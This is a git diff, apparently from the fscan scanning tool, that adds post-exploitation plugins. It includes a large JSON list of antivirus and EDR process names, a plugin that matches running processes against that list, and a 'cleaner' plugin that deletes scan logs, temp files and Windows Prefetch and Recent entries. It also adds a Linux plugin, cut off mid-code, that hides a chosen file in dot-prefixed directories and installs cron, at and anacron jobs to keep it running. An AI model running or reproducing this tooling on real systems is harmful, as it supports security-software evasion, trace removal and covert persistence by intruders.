"tfak5.exe", + "tgbob.exe", + "titanin.exe", + "titaninxp.exe", + "tracert.exe", + "trickler.exe", + "trjsetup.exe", + "trojantrap3.exe", + "tsadbot.exe", + "tvmd.exe", + "tvtmd.exe", + "undoboot.exe", + "updat.exe", + "update.exe", + "upgrad.exe", + "utpost.exe", + "vbcons.exe", + "vbust.exe", + "vbwin9x.exe", + "vbwinntw.exe", + "vcsetup.exe", + "vet32.exe", + "vet95.exe", + "vettray.exe", + "vfsetup.exe", + "vir-help.exe", + "virusmdpersonalfirewall.exe", + "vnlan300.exe", + "vnpc3000.exe", + "vpc42.exe", + "vpfw30s.exe", + "vscan40.exe", + "vscenu6.02d30.exe", + "vsched.exe", + "vsecomr.exe", + "vsisetup.exe", + "vsmain.exe", + "vswin9xe.exe", + "vswinntse.exe", + "vswinperse.exe", + "w32dsm89.exe", + "w9x.exe", + "watchdog.exe", + "webdav.exe", + "wfindv32.exe", + "whoswatchingme.exe", + "wimmun32.exe", + "win-bugsfix.exe", + "win32.exe", + "win32us.exe", + "winactive.exe", + "window.exe", + "windows.exe", + "wininetd.exe", + "wininitx.exe", + "winlogin.exe", + "winmain.exe", + "winnet.exe", + "winppr32.exe", + "winrecon.exe", + "winservn.exe", + "winssk32.exe", + "winstart.exe", + "winstart001.exe", + "wintsk32.exe", + "winupdate.exe", + "wkufind.exe", + "wnad.exe", + "wnt.exe", + "wradmin.exe", + "wsbgate.exe", + "wupdater.exe", + "wupdt.exe", + "wyvernworksfirewall.exe", + "xpf202en.exe", + "zapsetup3001.exe", + "zatutor.exe", + "zonalm2601.exe", + "A2CMD.exe", + "ADVCHK.exe", + "AGB.exe", + "AKRNL.exe", + "AHPROCMONSERVER.exe", + "AIRDEFENSE.exe", + "ALERTSVC.exe", + "AVIRA.exe", + "AMON.exe", + "TROJAN.exe", + "AVZ.exe", + "ANTIVIR.exe", + "ARMOR2NET.exe", + "ASH.exeexe.exe", + "ASHENHCD.exe", + "ASHMAISV.exe", + "ASHPOPWZ.exe", + "ASHSERV.exe", + "ASHSIMPL.exe", + "ASHSKPCK.exe", + "ASHWEBSV.exe", + "ASWUPDSV.exe", + "ASWSCAN.exe", + "AVCIMAN.exe", + "AVENGINE.exe", + "AVESVC.exe", + "AVEVAL.exe", + "AVEVL32.exe", + "AVGAM.exe", + "AVGCC.exe", + "AVGCHSVX.exe", + "AVGCSRVX.exe", + "AVGNSX.exe", + "AVGCC32.exe", + "AVGCTRL.exe", + "AVGFWSRV.exe", + "AVGNTMGR.exe", + "AVGTRAY.exe", + "AVGUPSVC.exe", + "AVINITNT.exe", + "AVKSERV.exe", + "AVKSERVICE.exe", + "AVP32.exe", + "AVSERVER.exe", + "AVSCHED32.exe", + "AVSYNMGR.exe", + "AVWUPD32.exe", + "AVXMONITOR.exe", + "AVXQUAR.exe", + "BDSWITCH.exe", + "BLACKICE.exe", + "CAFIX.exe", + "CFP.exe", + "CFPCONFIG.exe", + "CFIAUDIT.exe", + "CLAMWIN.exe", + "CUREIT.exe", + "DEFWATCH.exe", + "DRVIRUS.exe", + "DRWADINS.exe", + "DRWEB.exe", + "DEFENDERDAEMON.exe", + "DWEBLLIO.exe", + "DWEBIO.exe", + "ESCANH95.exe", + "ESCANHNT.exe", + "EWIDOCTRL.exe", + "EZANTIVIRUSREGISTRATIONCHECK.exe", + "FILEMON.exe", + "FIREWALL.exe", + "FORTISCAN.exe", + "FPWIN.exe", + "FSBWSYS.exe", + "F-SCHED.exe", + "FSDFWD.exe", + "FSGK32.exe", + "FSGK32ST.exe", + "FSGUIEXE.exe", + "FSPEX.exe", + "GCASDTSERV.exe", + "GCASSERV.exe", + "GIANTANTISPYWARE.exe", + "GUARDGUI.exe", + "GUARDNT.exe", + "HREGMON.exe", + "HRRES.exe", + "HSOCKPE.exe", + "HUPDATE.exe", + "IAMSERV.exe", + "ICLOAD95.exe", + "ICLOADNT.exe", + "ICMON.exe", + "ICSSUPPNT.exe", + "ICSUPP95.exe", + "ICSUPPNT.exe", + "INETUPD.exe", + "INOCIT.exe", + "INORPC.exe", + "INORT.exe", + "INOTASK.exe", + "INOUPTNG.exe", + "IOMON98.exe", + "ISAFE.exe", + "ISATRAY.exe", + "KAV.exe", + "KAVMM.exe", + "KAVPFW.exe", + "KAVSTART.exe", + "KAVSVC.exe", + "KAVSVCUI.exe", + "KMAILMON.exe", + "MAMUTU.exe", + "MCAGENT.exe", + "MCREGWIZ.exe", + "MCUPDATE.exe", + "MINILOG.exe", + "MYAGTSVC.exe", + "MYAGTTRY.exe", + "NAVLU32.exe", + "NAVW32.exe", + "NEOWATCHLOG.exe", + "NEOWATCHTRAY.exe", + "NISSERV.exe", + "NOD32.exe", + "NORMIST.exe", + "NOTSTART.exe", + "NPAVTRAY.exe", + "NPFMSG.exe", + "NSCHED32.exe", + "NSMDTR.exe", + "NSSSERV.exe", + "NSSTRAY.exe", + "NTOS.exe", + "NTXCONFIG.exe", + "NUPGRADE.exe", + "NVCOD.exe", + "NVCTE.exe", + "NVCUT.exe", + "NWSERVICE.exe", + "OFCPFWSVC.exe", + "OPSSVC.exe", + "OP_MON.exe", + "PAVFIRES.exe", + "PAVFNSVR.exe", + "PAVKRE.exe", + "PAVPROT.exe", + "PAVPRSRV.exe", + "PAVSRV51.exe", + "PAVSS.exe", + "PCCGUIDE.exe", + "PCCIOMON.exe", + "PCCPFW.exe", + "PCCTLCOM.exe", + "PERTSK.exe", + "PERVAC.exe", + "PESTPATROL.exe", + "PNMSRV.exe", + "PREVSRV.exe", + "PREVX.exe", + "PSIMSVC.exe", + "QHONLINE.exe", + "QHONSVC.exe", + "QHWSCSVC.exe", + "QHSET.exe", + "RTVSCN95.exe", + "SALITY.exe", + "SAVADMINSERVICE.exe", + "SAVSCAN.exe", + "SCANNINGPROCESS.exe", + "SDRA64.exe", + "SDHELP.exe", + "SITECLI.exe", + "SPBBCSVC.exe", + "SPIDERCPL.exe", + "SPIDERML.exe", + "SPIDERUI.exe", + "SPYBOTSD.exe", + "SPYXX.exe", + "SS3EDIT.exe", + "STOPSIGNAV.exe", + "SWAGENT.exe", + "SWDOCTOR.exe", + "SWNETSUP.exe", + "SYMLCSVC.exe", + "SYMSPORT.exe", + "SYMWSC.exe", + "SYNMGR.exe", + "TAUMON.exe", + "TMNTSRV.exe", + "TMPROXY.exe", + "TNBUTIL.exe", + "VBA32ECM.exe", + "VBA32IFS.exe", + "VBA32LDR.exe", + "VBA32PP3.exe", + "VBSNTW.exe", + "VCRMON.exe", + "VRFWSVC.exe", + "VRRW32.exe", + "VSECOMR.exe", + "WATCHDOG.exe", + "WINSSNOTIFY.exe", + "XCOMMSVR.exe", + "ZLCLIENT.exe", + "navap.exe", + "sahagent.exe" + ], + "url": "" + }, + "G Data文件系统实时监控": { + "processes": [ + "avkwctl9.exe", + "AVKWCTL.exe" + ], + "url": "" + }, + "Sophos Anti-Virus": { + "processes": [ + "SAVMAIN.exe" + ], + "url": "" + }, + "360保险箱": { + "processes": [ + "safeboxTray.exe", + "360safebox.exe" + ], + "url": "" + }, + "G Data扫描器": { + "processes": [ + "GDScan.exe" + ], + "url": "" + }, + "G Data杀毒代理": { + "processes": [ + "AVKProxy.exe" + ], + "url": "" + }, + "G Data备份服务": { + "processes": [ + "AVKBackupService.exe" + ], + "url": "" + }, + "亚信安全服务器深度安全防护系统": { + "processes": [ + "Notifier.exe" + ], + "url": "" + }, + "阿里云盾": { + "processes": [ + "AliYunDun.exe", + "AliYunDunUpdate.exe", + "aliyun_assist_service.exe", + "/usr/local/aegis/aegis_client/" + ], + "url": "" + }, + "腾讯云安全": { + "processes": [ + "BaradAgent.exe", + "sgagent.exe", + "YDService.exe", + "YDLive.exe", + "YDEdr.exe" + ], + "url": "" + }, + "360主机卫士Web": { + "processes": [ + "360WebSafe.exe", + "QHSrv.exe", + "QHWebshellGuard.exe" + ], + "url": "" + }, + "网防G01": { + "processes": [ + "gov_defence_service.exe", + "gov_defence_daemon.exe" + ], + "url": "" + }, + "云锁客户端": { + "processes": [ + "PC.exe" + ], + "url": "" + }, + "Symantec Shared诺顿邮件防火墙软件": { + "processes": [ + "SNDSrvc.exe" + ], + "url": "" + }, + "U盘杀毒专家": { + "processes": [ + "USBKiller.exe" + ], + "url": "" + }, + "天擎EDRAgent": { + "processes": [ + "360EntClient.exe" + ], + "url": "" + }, + "360(奇安信)天擎": { + "processes": [ + "360EntMisc.exe" + ], + "url": "" + }, + "阿里云-云盾": { + "processes": [ + "alisecguard.exe" + ], + "url": "" + }, + "Sophos AutoUpdate Service": { + "processes": [ + "ALsvc.exe" + ], + "url": "" + }, + "阿里云监控": { + "processes": [ + "CmsGoAgent.windows-amd64." + ], + "url": "" + }, + "深信服EDRAgent": { + "processes": [ + "edr_agent.exe", + "edr_monitor.exe", + "edr_sec_plan.exe" + ], + "url": "https://edr.sangfor.com.cn" + }, + "戎码翼龙 NG-EDR": { + "processes": [ + "rm_service.exe", + "rm_live.exe", + "rm_tray.exe", + "rm_hips.exe" + ], + "url": "https://www.rongma.com" + }, + "启明星辰天珣EDRAgent": { + "processes": [ + "ESAV.exe", + "ESCCControl.exe", + "ESCC.exe", + "ESCCIndex.exe" + ], + "url": "" + }, + "蓝鲸Agent": { + "processes": [ + "gse_win_agent.exe", + "gse_win_daemon.exe" + ], + "url": "" + }, + "联想电脑管家": { + "processes": [ + "LAVService.exe" + ], + "url": "" + }, + "Sophos MCS Agent": { + "processes": [ + "McsAgent.exe" + ], + "url": "" + }, + "Sophos MCS Client": { + "processes": [ + "McsClient.exe" + ], + "url": "" + }, + "360TotalSecurity(360国际版)": { + "processes": [ + "QHSafeMain.exe", + "QHSafeTray.exe", + "QHWatchdog.exe", + "QHActiveDefense.exe" + ], + "url": "" + }, + "Sophos Device Control Service": { + "processes": [ + "sdcservice.exe" + ], + "url": "" + }, + "Sophos Endpoint Defense Service": { + "processes": [ + "SEDService.exe" + ], + "url": "" + }, + "Windows Defender SmartScreen": { + "processes": [ + "smartscreen.exe" + ], + "url": "https://learn.microsoft.com/zh-cn/windows/security/operating-system-security/virus-and-threat-protection/microsoft-defender-smartscreen/" + }, + "Sophos Clean Service": { + "processes": [ + "SophosCleanM64.exe" + ], + "url": "" + }, + "Sophos FIM": { + "processes": [ + "SophosFIMService.exe" + ], + "url": "" + }, + "Sophos System Protection Service": { + "processes": [ + "SSPService.exe" + ], + "url": "" + }, + "Sophos Web Control Service": { + "processes": [ + "swc_service.exe" + ], + "url": "" + }, + "天眼云镜": { + "processes": [ + "TitanAgent.exe", + "TitanMonitor.exe" + ], + "url": "" + }, + "天融信终端防御": { + "processes": [ + "TopsecMain.exe", + "TopsecTray.exe" + ], + "url": "" + }, + "360杀毒-网盾": { + "processes": [ + "wdswfsafe.exe" + ], + "url": "" + }, + "智量安全": { + "processes": [ + "WiseVector.exe", + "WiseVectorSvc.exe" + ], + "url": "" + }, + "天擎": { + "processes": [ + "QAXEntClient.exe", + "QAXTray.exe" + ], + "url": "" + }, + "安恒主机卫士": { + "processes": [ + "AgentService.exe", + "ProtectMain.exe" + ], + "url": "" + }, + "亚信DS服务端": { + "processes": [ + "Deep Security Manager.exe" + ], + "url": "https://www.asiainfo-sec.com/product/detail-148.html" + }, + "亚信DS客户端": { + "processes": [ + "dsa.exe", + "UniAccessAgent.exe", + "dsvp.exe" + ], + "url": "https://www.asiainfo-sec.com/product/detail-148.html" + }, + "深信服EDR": { + "processes": [ + "/sangfor/edr/agent" + ], + "url": "https://edr.sangfor.com.cn" + }, + "阿里云云助手守护进程": { + "processes": [ + "/assist-daemon/assist_daemon" + ], + "url": "" + }, + "zabbix agen端": { + "processes": [ + "zabbix_agentd" + ], + "url": "" + }, + "阿里云盾升级": { + "processes": [ + "/usr/local/aegis/aegis_update/AliYunDunUpdate" + ], + "url": "" + }, + "阿里云助手": { + "processes": [ + "/usr/local/share/aliyun-assist" + ], + "url": "" + }, + "阿里系监控": { + "processes": [ + "AliHips", + "AliNet", + "AliDetect", + "AliScriptEngine" + ], + "url": "" + }, + "腾讯系监控": { + "processes": [ + "secu-tcs-agent", + "/usr/local/qcloud/stargate/", + "/usr/local/qcloud/monitor/", + "/usr/local/qcloud/YunJing/" + ], + "url": "" + }, + "腾讯自动化助手TAT产品": { + "processes": [ + "/usr/local/qcloud/tat_agent/" + ], + "url": "" + }, + "SentinelOne(哨兵一号)": { + "processes": [ + "SentinelServiceHost.exe", + "SentinelStaticEngine.exe", + "SentinelStaticEngineScanner.exe", + "SentinelMemoryScanner.exe", + "SentinelAgent.exe", + "SentinelAgentWorker.exe", + "SentinelUI.exe" + ], + "url": "https://www.sentinelone.com/" + }, + "OneSec(微步)": { + "processes": [ + "tbAgent.exe", + "tbAgentSrv.exe", + "tbGuard.exe" + ], + "url": "https://threatbook.cn/onesec" + }, + "亚信安全防毒墙网络版": { + "processes": [ + "PccNT.exe", + "PccNTMon.exe", + "PccNTUpd.exe" + ], + "url": "https://asiainfo-sec.com/product/detail-122.html" + }, + "Illumio ZTS": { + "processes": [ + "venVtapServer.exe", + "venPlatformHandler.exe", + "venAgentMonitor.exe", + "venAgentMgr.exe" + ], + "url": "https://www.illumio.com/" + }, + "奇安信统一服务器安全": { + "processes": [ + "NuboshEndpoint.exe" + ], + "url": "https://www.qianxin.com/product/detail/pid/394" + }, + "IObit Malware Fighter": { + "processes": [ + "IMF.exe", + "IMFCore.exe", + "IMFsrv.exe", + "IMFSrvWsc.exe" + ], + "url":"https://www.iobit.com/en/malware-fighter.php" + } +} diff --git a/plugins/local/avdetect.go b/plugins/local/avdetect.go new file mode 100644 index 0000000..bd6d2c8 --- /dev/null +++ b/plugins/local/avdetect.go @@ -0,0 +1,200 @@ +package local + +import ( + _ "embed" + "context" + "encoding/json" + "fmt" + "os/exec" + "runtime" + "strings" + + "github.com/shadow1ng/fscan/common" +) + +//go:embed auto.json +var avDatabase []byte + +// AVProduct AV产品信息结构 +type AVProduct struct { + Processes []string `json:"processes"` + URL string `json:"url"` +} + +// AVDetectPlugin AV/EDR检测插件 - Linus式简化版本 +// +// 设计哲学:"做一件事并做好" - 专注AV检测 +// - 使用JSON数据库加载AV信息 +// - 删除复杂的结果结构体 +// - 跨平台支持,运行时适配 +type AVDetectPlugin struct { + name string + avProducts map[string]AVProduct +} + +// NewAVDetectPlugin 创建AV检测插件 +func NewAVDetectPlugin() *AVDetectPlugin { + plugin := &AVDetectPlugin{ + name: "avdetect", + avProducts: make(map[string]AVProduct), + } + + // 加载AV数据库 + if err := json.Unmarshal(avDatabase, &plugin.avProducts); err != nil { + common.LogError(fmt.Sprintf("加载AV数据库失败: %v", err)) + } else { + common.LogInfo(fmt.Sprintf("加载了 %d 个AV产品信息", len(plugin.avProducts))) + } + + return plugin +} + +// GetName 实现Plugin接口 +func (p *AVDetectPlugin) GetName() string { + return p.name +} + +// GetPorts 实现Plugin接口 - local插件不需要端口 +func (p *AVDetectPlugin) GetPorts() []int { + return []int{} +} + +// Scan 执行AV/EDR检测 - 直接、有效 +func (p *AVDetectPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResult { + var output strings.Builder + var detectedAVs []string + + output.WriteString("=== AV/EDR检测 ===\n") + + // 获取运行进程 + processes := p.getRunningProcesses() + if len(processes) == 0 { + return &ScanResult{ + Success: false, + Output: "无法获取进程列表", + Error: fmt.Errorf("进程列表获取失败"), + } + } + + output.WriteString(fmt.Sprintf("扫描进程数: %d\n\n", len(processes))) + + // 检测AV产品 - 使用JSON数据库 + for avName, avProduct := range p.avProducts { + var foundProcesses []string + + for _, avProcess := range avProduct.Processes { + for _, runningProcess := range processes { + // 简单字符串匹配,忽略大小写 + if strings.Contains(strings.ToLower(runningProcess), strings.ToLower(avProcess)) { + foundProcesses = append(foundProcesses, runningProcess) + } + } + } + + if len(foundProcesses) > 0 { + detectedAVs = append(detectedAVs, avName) + output.WriteString(fmt.Sprintf("✓ 检测到 %s:\n", avName)) + for _, proc := range foundProcesses { + output.WriteString(fmt.Sprintf(" - %s\n", proc)) + } + common.LogSuccess(fmt.Sprintf("检测到AV: %s (%d个进程)", avName, len(foundProcesses))) + output.WriteString("\n") + } + } + + // 统计结果 + output.WriteString("=== 检测结果 ===\n") + output.WriteString(fmt.Sprintf("检测到的AV产品: %d个\n", len(detectedAVs))) + + if len(detectedAVs) > 0 { + output.WriteString("检测到的产品: " + strings.Join(detectedAVs, ", ") + "\n") + } else { + output.WriteString("未检测到已知的AV/EDR产品\n") + } + + return &ScanResult{ + Success: len(detectedAVs) > 0, + Output: output.String(), + Error: nil, + } +} + +// getRunningProcesses 获取运行进程列表 - 跨平台适配 +func (p *AVDetectPlugin) getRunningProcesses() []string { + var processes []string + + switch runtime.GOOS { + case "windows": + processes = p.getWindowsProcesses() + case "linux", "darwin": + processes = p.getUnixProcesses() + default: + // 不支持的平台,返回空列表 + return processes + } + + return processes +} + +// getWindowsProcesses 获取Windows进程 - 简化实现 +func (p *AVDetectPlugin) getWindowsProcesses() []string { + var processes []string + + // 使用tasklist命令 + cmd := exec.Command("tasklist", "/fo", "csv", "/nh") + output, err := cmd.Output() + if err != nil { + return processes + } + + lines := strings.Split(string(output), "\n") + for _, line := range lines { + line = strings.TrimSpace(line) + if line == "" { + continue + } + + // 解析CSV格式:进程名在第一列 + if strings.HasPrefix(line, "\"") { + parts := strings.Split(line, "\",\"") + if len(parts) > 0 { + processName := strings.Trim(parts[0], "\"") + if processName != "" { + processes = append(processes, processName) + } + } + } + } + + return processes +} + +// getUnixProcesses 获取Unix进程 - 简化实现 +func (p *AVDetectPlugin) getUnixProcesses() []string { + var processes []string + + // 使用ps命令 + cmd := exec.Command("ps", "-eo", "comm") + output, err := cmd.Output() + if err != nil { + return processes + } + + lines := strings.Split(string(output), "\n") + for _, line := range lines { + line = strings.TrimSpace(line) + if line != "" && line != "COMMAND" { + processes = append(processes, line) + } + } + + return processes +} + + +// 注册插件 +func init() { + RegisterLocalPlugin("avdetect", func() Plugin { + return NewAVDetectPlugin() + }) +} \ No newline at end of file diff --git a/plugins/local/cleaner.go b/plugins/local/cleaner.go new file mode 100644 index 0000000..dcbeaa0 --- /dev/null +++ b/plugins/local/cleaner.go @@ -0,0 +1,283 @@ +package local + +import ( + "context" + "fmt" + "os" + "path/filepath" + "runtime" + "strings" + + "github.com/shadow1ng/fscan/common" +) + +// CleanerPlugin 系统痕迹清理插件 - Linus式简化版本 +// +// 设计哲学:保持原有功能,删除过度设计 +// - 删除复杂的继承体系和配置选项 +// - 直接实现清理功能 +// - 消除不必要的统计和报告结构 +type CleanerPlugin struct { + name string +} + +// NewCleanerPlugin 创建系统痕迹清理插件 +func NewCleanerPlugin() *CleanerPlugin { + return &CleanerPlugin{ + name: "cleaner", + } +} + +// GetName 实现Plugin接口 +func (p *CleanerPlugin) GetName() string { + return p.name +} + +// GetPorts 实现Plugin接口 - local插件不需要端口 +func (p *CleanerPlugin) GetPorts() []int { + return []int{} +} + +// Scan 执行系统痕迹清理 - 直接、简单 +func (p *CleanerPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResult { + var output strings.Builder + var filesCleared, dirsCleared, sysCleared int + + output.WriteString("=== 系统痕迹清理 ===\n") + + // 清理当前目录fscan相关文件 + workDir, _ := os.Getwd() + files := p.findFscanFiles(workDir) + for _, file := range files { + if p.removeFile(file) { + filesCleared++ + output.WriteString(fmt.Sprintf("清理文件: %s\n", file)) + } + } + + // 清理临时目录fscan相关文件 + tempFiles := p.findTempFiles() + for _, file := range tempFiles { + if p.removeFile(file) { + filesCleared++ + output.WriteString(fmt.Sprintf("清理临时文件: %s\n", file)) + } + } + + // 清理日志和输出文件 + logFiles := p.findLogFiles(workDir) + for _, file := range logFiles { + if p.removeFile(file) { + filesCleared++ + output.WriteString(fmt.Sprintf("清理日志: %s\n", file)) + } + } + + // 平台特定清理 + switch runtime.GOOS { + case "windows": + sysCleared += p.clearWindowsTraces() + case "linux", "darwin": + sysCleared += p.clearUnixTraces() + } + + // 输出统计 + output.WriteString(fmt.Sprintf("\n清理完成: 文件(%d) 目录(%d) 系统条目(%d)\n", + filesCleared, dirsCleared, sysCleared)) + + common.LogSuccess(fmt.Sprintf("痕迹清理完成: %d个文件, %d个系统条目", filesCleared, sysCleared)) + + return &ScanResult{ + Success: filesCleared > 0 || sysCleared > 0, + Output: output.String(), + Error: nil, + } +} + +// findFscanFiles 查找fscan相关文件 - 简化搜索逻辑 +func (p *CleanerPlugin) findFscanFiles(dir string) []string { + var files []string + + // fscan相关文件模式 - 直接硬编码 + patterns := []string{ + "fscan*.exe", "fscan*.log", "result*.txt", "result*.json", + "fscan_*", "*fscan*", "scan_result*", "vulnerability*", + } + + for _, pattern := range patterns { + matches, _ := filepath.Glob(filepath.Join(dir, pattern)) + files = append(files, matches...) + } + + return files +} + +// findTempFiles 查找临时文件 +func (p *CleanerPlugin) findTempFiles() []string { + var files []string + tempDir := os.TempDir() + + // 临时文件模式 + patterns := []string{ + "fscan_*", "scan_*", "tmp_scan*", "vulnerability_*", + } + + for _, pattern := range patterns { + matches, _ := filepath.Glob(filepath.Join(tempDir, pattern)) + files = append(files, matches...) + } + + return files +} + +// findLogFiles 查找日志文件 +func (p *CleanerPlugin) findLogFiles(dir string) []string { + var files []string + + // 日志文件模式 + logPatterns := []string{ + "*.log", "scan*.txt", "error*.txt", "debug*.txt", + "output*.txt", "report*.txt", "*.out", + } + + for _, pattern := range logPatterns { + matches, _ := filepath.Glob(filepath.Join(dir, pattern)) + for _, match := range matches { + // 只清理可能是扫描相关的日志 + filename := strings.ToLower(filepath.Base(match)) + if p.isScanRelatedLog(filename) { + files = append(files, match) + } + } + } + + return files +} + +// isScanRelatedLog 判断是否为扫描相关日志 +func (p *CleanerPlugin) isScanRelatedLog(filename string) bool { + scanKeywords := []string{ + "scan", "fscan", "vulnerability", "result", "report", + "exploit", "brute", "port", "service", "web", + } + + for _, keyword := range scanKeywords { + if strings.Contains(filename, keyword) { + return true + } + } + return false +} + +// clearWindowsTraces 清理Windows系统痕迹 +func (p *CleanerPlugin) clearWindowsTraces() int { + cleared := 0 + + // 清理预读文件 + prefetchDir := "C:\\Windows\\Prefetch" + if prefetchFiles := p.findPrefetchFiles(prefetchDir); len(prefetchFiles) > 0 { + for _, file := range prefetchFiles { + if p.removeFile(file) { + cleared++ + } + } + } + + // 清理最近文档记录(注册表方式复杂,这里简化处理) + // 可以通过删除Recent文件夹的快捷方式 + if recentDir := os.Getenv("USERPROFILE") + "\\Recent"; p.dirExists(recentDir) { + recentFiles, _ := filepath.Glob(filepath.Join(recentDir, "fscan*.lnk")) + for _, file := range recentFiles { + if p.removeFile(file) { + cleared++ + } + } + } + + return cleared +} + +// clearUnixTraces 清理Unix系统痕迹 +func (p *CleanerPlugin) clearUnixTraces() int { + cleared := 0 + + // 清理bash历史记录相关 + homeDir, _ := os.UserHomeDir() + historyFiles := []string{ + filepath.Join(homeDir, ".bash_history"), + filepath.Join(homeDir, ".zsh_history"), + } + + for _, histFile := range historyFiles { + if p.clearHistoryEntries(histFile) { + cleared++ + } + } + + // 清理/var/log中的相关日志(需要权限) + logDirs := []string{"/var/log", "/tmp"} + for _, logDir := range logDirs { + if p.dirExists(logDir) { + logFiles, _ := filepath.Glob(filepath.Join(logDir, "*fscan*")) + for _, file := range logFiles { + if p.removeFile(file) { + cleared++ + } + } + } + } + + return cleared +} + +// findPrefetchFiles 查找预读文件 +func (p *CleanerPlugin) findPrefetchFiles(dir string) []string { + var files []string + if !p.dirExists(dir) { + return files + } + + matches, _ := filepath.Glob(filepath.Join(dir, "FSCAN*.pf")) + files = append(files, matches...) + + return files +} + +// clearHistoryEntries 清理历史记录条目(简化实现) +func (p *CleanerPlugin) clearHistoryEntries(histFile string) bool { + // 这里简化实现:不修改历史文件内容 + // 实际应该是读取文件,删除包含fscan的行,然后写回 + // 为简化,这里只记录找到相关历史文件 + if p.fileExists(histFile) { + common.LogInfo(fmt.Sprintf("发现历史文件: %s (需手动清理相关条目)", histFile)) + return true + } + return false +} + +// removeFile 删除文件 +func (p *CleanerPlugin) removeFile(path string) bool { + if err := os.Remove(path); err == nil { + return true + } + return false +} + +// fileExists 检查文件是否存在 +func (p *CleanerPlugin) fileExists(path string) bool { + _, err := os.Stat(path) + return err == nil +} + +// dirExists 检查目录是否存在 +func (p *CleanerPlugin) dirExists(path string) bool { + info, err := os.Stat(path) + return err == nil && info.IsDir() +} + +// 注册插件 +func init() { + RegisterLocalPlugin("cleaner", func() Plugin { + return NewCleanerPlugin() + }) +} \ No newline at end of file diff --git a/plugins/local/crontask.go b/plugins/local/crontask.go new file mode 100644 index 0000000..ab9796d --- /dev/null +++ b/plugins/local/crontask.go @@ -0,0 +1,359 @@ +//go:build linux + +package local + +import ( + "context" + "fmt" + "os" + "os/exec" + "os/user" + "path/filepath" + "runtime" + "strings" + + "github.com/shadow1ng/fscan/common" +) + +// CronTaskPlugin 计划任务持久化插件 - Linus式简化版本 +// +// 设计哲学:直接实现,删除过度设计 +// - 删除复杂的继承体系 +// - 直接实现持久化功能 +// - 保持原有功能逻辑 +type CronTaskPlugin struct { + name string + targetFile string +} + +// NewCronTaskPlugin 创建计划任务持久化插件 +func NewCronTaskPlugin() *CronTaskPlugin { + targetFile := common.PersistenceTargetFile + if targetFile == "" { + targetFile = "" + } + + return &CronTaskPlugin{ + name: "crontask", + targetFile: targetFile, + } +} + +// GetName 实现Plugin接口 +func (p *CronTaskPlugin) GetName() string { + return p.name +} + +// GetPorts 实现Plugin接口 - local插件不需要端口 +func (p *CronTaskPlugin) GetPorts() []int { + return []int{} +} + +// Scan 执行计划任务持久化 - 直接实现 +func (p *CronTaskPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResult { + var output strings.Builder + + if runtime.GOOS != "linux" { + return &ScanResult{ + Success: false, + Output: "计划任务持久化只支持Linux平台", + Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS), + } + } + + if p.targetFile == "" { + return &ScanResult{ + Success: false, + Output: "必须通过 -persistence-file 参数指定目标文件路径", + Error: fmt.Errorf("未指定目标文件"), + } + } + + // 检查目标文件是否存在 + if _, err := os.Stat(p.targetFile); os.IsNotExist(err) { + return &ScanResult{ + Success: false, + Output: fmt.Sprintf("目标文件不存在: %s", p.targetFile), + Error: err, + } + } + + // 检查crontab是否可用 + if _, err := exec.LookPath("crontab"); err != nil { + return &ScanResult{ + Success: false, + Output: "crontab命令不可用", + Error: err, + } + } + + output.WriteString("=== 计划任务持久化 ===\n") + output.WriteString(fmt.Sprintf("目标文件: %s\n\n", p.targetFile)) + + var results []string + var successCount int + + // 1. 复制文件到持久化目录 + persistPath, err := p.copyToPersistPath() + if err != nil { + output.WriteString(fmt.Sprintf("✗ 复制文件失败: %v\n", err)) + } else { + results = append(results, fmt.Sprintf("文件已复制到: %s", persistPath)) + output.WriteString(fmt.Sprintf("✓ 文件已复制到: %s\n", persistPath)) + successCount++ + } + + // 2. 添加用户crontab任务 + err = p.addUserCronJob(persistPath) + if err != nil { + output.WriteString(fmt.Sprintf("✗ 添加用户cron任务失败: %v\n", err)) + } else { + results = append(results, "已添加用户crontab任务") + output.WriteString("✓ 已添加用户crontab任务\n") + successCount++ + } + + // 3. 添加系统cron任务 + systemCronFiles, err := p.addSystemCronJobs(persistPath) + if err != nil { + output.WriteString(fmt.Sprintf("✗ 添加系统cron任务失败: %v\n", err)) + } else { + results = append(results, fmt.Sprintf("已添加系统cron任务: %s", strings.Join(systemCronFiles, ", "))) + output.WriteString(fmt.Sprintf("✓ 已添加系统cron任务: %s\n", strings.Join(systemCronFiles, ", "))) + successCount++ + } + + // 4. 创建at任务 + err = p.addAtJob(persistPath) + if err != nil { + output.WriteString(fmt.Sprintf("✗ 添加at任务失败: %v\n", err)) + } else { + results = append(results, "已添加at延时任务") + output.WriteString("✓ 已添加at延时任务\n") + successCount++ + } + + // 5. 创建anacron任务 + err = p.addAnacronJob(persistPath) + if err != nil { + output.WriteString(fmt.Sprintf("✗ 添加anacron任务失败: %v\n", err)) + } else { + results = append(results, "已添加anacron任务") + output.WriteString("✓ 已添加anacron任务\n") + successCount++ + } + + // 输出统计 + output.WriteString(fmt.Sprintf("\n持久化完成: 成功(%d) 总计(%d)\n", successCount, 5)) + + if successCount > 0 { + common.LogSuccess(fmt.Sprintf("计划任务持久化完成: %d个方法成功", successCount)) + } + + return &ScanResult{ + Success: successCount > 0, + Output: output.String(), + Error: nil, + } +} + +// copyToPersistPath 复制文件到持久化目录 +func (p *CronTaskPlugin) copyToPersistPath() (string, error) { + // 选择持久化目录 + persistDirs := []string{ + "/tmp/.system", + "/var/tmp/.cache", + "/opt/.local", + } + + // 获取用户目录 + if usr, err := user.Current(); err == nil { + userDirs := []string{ + filepath.Join(usr.HomeDir, ".local", "bin"), + filepath.Join(usr.HomeDir, ".cache"), + } + persistDirs = append(userDirs, persistDirs...) + } + + var targetDir string + for _, dir := range persistDirs { + if err := os.MkdirAll(dir, 0755); err == nil { + targetDir = dir + break + } + } + + if targetDir == "" { + return "", fmt.Errorf("无法创建持久化目录") + } + + // 生成隐藏文件名 + basename := filepath.Base(p.targetFile) + hiddenName := "." + strings.TrimSuffix(basename, filepath.Ext(basename)) + if p.isScriptFile() { + hiddenName += ".sh" + } + + targetPath := filepath.Join(targetDir, hiddenName) + + // 复制文件 + err := p.copyFile(p.targetFile, targetPath) + if err != nil { + return "", err + } + + // 设置执行权限 + os.Chmod(targetPath, 0755) + + return targetPath, nil +} + +// copyFile 复制文件内容 +func (p *CronTaskPlugin) copyFile(src, dst string) error { + sourceData, err := os.ReadFile(src) + if err != nil { + return err + } + return os.WriteFile(dst, sourceData, 0755) +} + +// addUserCronJob 添加用户crontab任务 +func (p 